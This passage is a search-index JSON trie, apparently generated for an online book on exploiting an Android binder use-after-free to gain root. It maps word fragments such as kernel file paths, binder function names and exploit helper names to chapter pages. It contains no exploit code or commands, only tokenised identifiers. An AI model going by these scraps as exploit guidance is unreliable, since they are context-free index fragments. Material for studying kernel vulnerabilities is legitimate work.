hapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"+":{"0":{"docs":{},"x":{"4":{"6":{"4":{"docs":{},"/":{"0":{"docs":{},"x":{"4":{"docs":{},"b":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}},"d":{"docs":{},"e":{"docs":{},"c":{"docs":{},"_":{"docs":{},"t":{"docs":{},"m":{"docs":{},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"f":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"+":{"0":{"docs":{},"x":{"1":{"9":{"2":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"docs":{},"d":{"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"\\":{"docs":{},"n":{"docs":{},"\"":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}},"r":{"docs":{},"a":{"docs":{},"n":{"docs":{},"s":{"docs":{},"a":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"f":{"docs":{},"r":{"docs":{},"e":{"docs":{},"e":{"docs":{},"_":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"=":{"0":{"docs":{},"x":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"8":{"8":{"8":{"0":{"0":{"docs":{},"c":{"1":{"8":{"docs":{},"f":{"2":{"0":{"0":{"docs":{},")":{"docs":{},"(":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}},"docs":{}}}}}}}}}}}}}}}}}}},"o":{"docs":{},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}},"g":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"+":{"0":{"docs":{},"x":{"1":{"6":{"6":{"docs":{},"/":{"0":{"docs":{},"x":{"6":{"docs":{},"d":{"docs":{},"b":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"(":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}},"_":{"docs":{},"i":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"e":{"docs":{},"d":{"docs":{},"(":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"n":{"docs":{},"d":{"docs":{},"_":{"docs":{},"f":{"docs":{},"a":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"p":{"docs":{},"l":{"docs":{},"y":{"docs":{},"(":{"docs":{},"s":{"docs":{},"e":{"docs":{},"n":{"docs":{},"d":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"p":{"docs":{},"l":{"docs":{},"y":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"e":{"docs":{},"r":{"docs":{},"r":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"o":{"docs":{},"p":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"'":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}}},"u":{"docs":{},"a":{"docs":{},"f":{"docs":{},":":{"docs":{},":":{"docs":{},"c":{"docs":{},"l":{"docs":{},"o":{"docs":{},"b":{"docs":{},"b":{"docs":{},"e":{"docs":{},"r":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"l":{"docs":{},"i":{"docs":{},"m":{"docs":{},"i":{"docs":{},"t":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}},"l":{"docs":{},"e":{"docs":{},"a":{"docs":{},"k":{"docs":{},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}}}}}},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"l":{"docs":{},"k":{"docs":{},"_":{"docs":{},"p":{"docs":{},"l":{"docs":{},"u":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.006720806496779613}},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"s":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"g":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}}}}}},"o":{"docs":{},"o":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0076045627376425855},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}},"t":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},")":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}},"u":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"a":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"y":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{},"_":{"docs":{},"s":{"docs":{},"e":{"docs":{},"q":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"/":{"docs":{},"d":{"docs":{},"r":{"docs":{},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{},"s":{"docs":{},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{},"/":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}}}}}}}}}}}}}}}}}},"l":{"docs":{},"i":{"docs":{},"b":{"docs":{},"/":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}}}}}}}}},"y":{"docs":{},":":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.009615384615384616}}},"t":{"docs":{},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002800336040324839}},"s":{"docs":{},")":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"\\":{"docs":{},"n":{"docs":{},"\"":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"s":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},"e":{"docs":{},"b":{"docs":{},"u":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0076045627376425855},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"g":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.041666666666666664}}},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}}}},"p":{"docs":{},"t":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"=":{"1":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"docs":{}}}},"e":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"v":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}},"$":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"/":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"g":{"docs":{},"o":{"docs":{},"l":{"docs":{},"d":{"docs":{},"f":{"docs":{},"i":{"docs":{},"s":{"docs":{},"h":{"docs":{},"$":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088}}},"/":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},"a":{"docs":{},"r":{"docs":{},"c":{"docs":{},"h":{"docs":{},"/":{"docs":{},"x":{"8":{"6":{"docs":{},"/":{"docs":{},"i":{"docs":{},"n":{"docs":{},"c":{"docs":{},"l":{"docs":{},"u":{"docs":{},"d":{"docs":{},"e":{"docs":{},"/":{"docs":{},"a":{"docs":{},"s":{"docs":{},"m":{"docs":{},"/":{"docs":{},"i":{"docs":{},"r":{"docs":{},"q":{"docs":{},"f":{"docs":{},"l":{"docs":{},"a":{"docs":{},"g":{"docs":{},"s":{"docs":{},".":{"docs":{},"h":{"docs":{},":":{"6":{"1":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}}}}}}}}}}},"u":{"docs":{},"a":{"docs":{},"c":{"docs":{},"c":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},".":{"docs":{},"h":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}}}},"docs":{}},"docs":{}},"a":{"docs":{},"r":{"docs":{},"m":{"6":{"4":{"docs":{},"/":{"docs":{},"m":{"docs":{},"m":{"docs":{},"/":{"docs":{},"f":{"docs":{},"a":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}},"docs":{}},"docs":{}}}}}}}}},"d":{"docs":{},"r":{"docs":{},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{},"s":{"docs":{},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{},"/":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}}}}}},"f":{"docs":{},"s":{"docs":{},"/":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"_":{"docs":{},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"c":{"docs":{},"l":{"docs":{},"u":{"docs":{},"d":{"docs":{},"e":{"docs":{},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},".":{"docs":{},"h":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},".":{"docs":{},"h":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}},"u":{"docs":{},"a":{"docs":{},"p":{"docs":{},"i":{"docs":{},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{},"/":{"docs":{},"u":{"docs":{},"i":{"docs":{},"o":{"docs":{},".":{"docs":{},"h":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}}}}}},"k":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{},"/":{"docs":{},"s":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},"d":{"docs":{},"/":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}}}}}}}}}}}}}},"l":{"docs":{},"i":{"docs":{},"b":{"docs":{},"/":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}}}}}}}}}},"o":{"docs":{},"u":{"docs":{},"t":{"docs":{},"/":{"docs":{},"k":{"docs":{},"a":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{},"/":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},"d":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"/":{"docs":{},"b":{"docs":{},"z":{"docs":{},"i":{"docs":{},"m":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}},"v":{"docs":{},"m":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},".":{"docs":{},".":{"docs":{},".":{"docs":{},"d":{"docs":{},"o":{"docs":{},"n":{"docs":{},"e":{"docs":{},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"l":{"docs":{},"w":{"docs":{},"i":{"docs":{},"t":{"docs":{},"h":{"docs":{},"d":{"docs":{},"e":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{},"/":{"docs":{},"d":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"/":{"docs":{},"b":{"docs":{},"z":{"docs":{},"i":{"docs":{},"m":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"v":{"docs":{},"m":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"i":{"docs":{},"c":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"e":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"e":{"docs":{},"l":{"docs":{},"o":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"=":{"docs":{},"\"":{"docs":{},"v":{"docs":{},"d":{"docs":{},"c":{"docs":{},"\"":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939}}}}}}}}},"a":{"docs":{},"d":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}},"l":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"c":{"docs":{},"a":{"docs":{},"y":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}},"i":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"e":{"docs":{},"m":{"docs":{},"b":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}},"f":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},"a":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"_":{"docs":{},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"s":{"docs":{},"l":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"n":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"i":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0034086067319982955},"chapters/root-cause-analysis.h